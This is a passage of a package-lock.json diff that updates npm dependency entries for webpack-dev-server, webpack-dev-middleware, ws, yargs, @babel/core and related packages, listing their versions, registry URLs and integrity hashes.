"sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.1.tgz", + "integrity": "sha512-81EujCKkyles2wphtdrnPg/QqegC/AtqNH//mQkBYSMqwFVCQrxM6ktB2O/SPlZy7LqeEfTbV3cZARGQz6umhg==", + "dev": true, + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.1", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.7.4", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.7.4.tgz", + "integrity": "sha512-nfdsb02Zi2qzkNmgtZjkrMOcXnYZ6FLKcQwpxT7MvmHKc+oTtDsBju8j+NMyAygZ9GW1jMEUpy3itHtqgEhe1A==", + "dev": true, + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.2.2", + "ansi-html-community": "^0.0.8", + "bonjour": "^3.5.0", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^1.6.0", + "default-gateway": "^6.0.3", + "del": "^6.0.0", + "express": "^4.17.1", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.0", + "ipaddr.js": "^2.0.1", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "portfinder": "^1.0.28", + "schema-utils": "^4.0.0", + "selfsigned": "^2.0.0", + "serve-index": "^1.9.1", + "sockjs": "^0.3.21", + "spdy": "^4.0.2", + "strip-ansi": "^7.0.0", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.4.2" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/strip-ansi": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.0.1.tgz", + "integrity": "sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/webpack-merge": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", + "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", + "dev": true, + "dependencies": { + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/acorn": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz", + "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/webpack/node_modules/acorn-import-assertions": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", + "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/webpack/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dev": true, + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", + "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" + }, + "node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/wildcard": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", + "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", + "dev": true + }, + "node_modules/word-wrap": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", + "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true + }, + "node_modules/write": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz", + "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==", + "dev": true, + "dependencies": { + "mkdirp": "^0.5.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/write/node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/ws": { + "version": "8.5.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.5.0.tgz", + "integrity": "sha512-BWX0SWVgLPzYwF8lTzEy1egjhS4S4OEAHfsO8o65WOVsrnSRGaSiUaa9e0ggGlkMTtBlmOpEXiie9RUcBO86qg==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true, + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/zwitch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", + "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + } + }, "dependencies": { - "@babel/cli": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.15.7.tgz", - "integrity": "sha512-YW5wOprO2LzMjoWZ5ZG6jfbY9JnkDxuHDwvnrThnuYtByorova/I0HNXJedrUfwuXFQfYOjcqDA4PU3qlZGZjg==", + "@ampproject/remapping": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.1.2.tgz", + "integrity": "sha512-hoyByceqwKirw7w3Z7gnIIZC3Wx3J484Y3L/cMpXFbr7d9ZQj2mODrirNzcJa+SM3UlpWXYvKV4RlRpFXlWgXg==", "dev": true, "requires": { + "@jridgewell/trace-mapping": "^0.3.0" + } + }, + "@babel/cli": { + "version": "7.17.6", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.17.6.tgz", + "integrity": "sha512-l4w608nsDNlxZhiJ5tE3DbNmr61fIKMZ6fTBo171VEFuFMIYuJ3mHRhTLEkKKyvx2Mizkkv/0a8OJOnZqkKYNA==", + "dev": true, + "requires": { + "@jridgewell/trace-mapping": "^0.3.4", "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents.3", "chokidar": "^3.4.0", "commander": "^4.0.1", @@ -19,379 +16598,116 @@ "make-dir": "^2.1.0", "slash": "^2.0.0", "source-map": "^0.5.0" - }, - "dependencies": { - "commander": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", - "dev": true - } } }, "@babel/code-frame": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.8.3.tgz", - "integrity": "sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.16.7.tgz", + "integrity": "sha512-iAXqUn8IIeBTNd72xsFlgaXHkMBMt6y4HJp1tIaK465CWLT/fG1aqB7ykr95gHHmlBdGbFeWWfyB4NJJ0nmeIg==", "requires": { - "@babel/highlight": "^7.8.3" + "@babel/highlight": "^7.16.7" } }, "@babel/compat-data": { - "version": "7.15.0", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.15.0.tgz", - "integrity": "sha512-0NqAC1IJE0S0+lL1SWFMxMkz1pKCNCjI4tr2Zx4LJSXxCLAdr6KyArnY+sno5m3yH9g737ygOyPABDsnXkpxiA==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.17.7.tgz", + "integrity": "sha512-p8pdE6j0a29TNGebNm7NzYZWB3xVZJBZ7XGs42uAKzQo8VQ3F0By/cQCtUEABwIqw5zo6WA4NbmxsfzADzMKnQ==", "dev": true }, "@babel/core": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.15.8.tgz", - "integrity": "sha512-3UG9dsxvYBMYwRv+gS41WKHno4K60/9GPy1CJaH6xy3Elq8CTtvtjT5R5jmNhXfCYLX2mTw+7/aq5ak/gOE0og==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.17.8.tgz", + "integrity": "sha512-OdQDV/7cRBtJHLSOBqqbYNkOcydOgnX59TZx4puf41fzcVtN3e/4yqY8lMQsK+5X2lJtAdmA+6OHqsj1hBJ4IQ==", "dev": true, "requires": { - "@babel/code-frame": "^7.15.8", - "@babel/generator": "^7.15.8", - "@babel/helper-compilation-targets": "^7.15.4", - "@babel/helper-module-transforms": "^7.15.8", - "@babel/helpers": "^7.15.4", - "@babel/parser": "^7.15.8", - "@babel/template": "^7.15.4", - "@babel/traverse": "^7.15.4", - "@babel/types": "^7.15.6", + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.16.7", + "@babel/generator": "^7.17.7", + "@babel/helper-compilation-targets": "^7.17.7", + "@babel/helper-module-transforms": "^7.17.7", + "@babel/helpers": "^7.17.8", + "@babel/parser": "^7.17.8", + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.17.3", + "@babel/types": "^7.17.0", "convert-source-map": "^1.7.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.1.2", - "semver": "^6.3.0", - "source-map": "^0.5.0" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/generator": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", - "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", - "dev": true, - "requires": { - "@babel/types": "^7.15.6", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/traverse": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", - "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/generator": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": 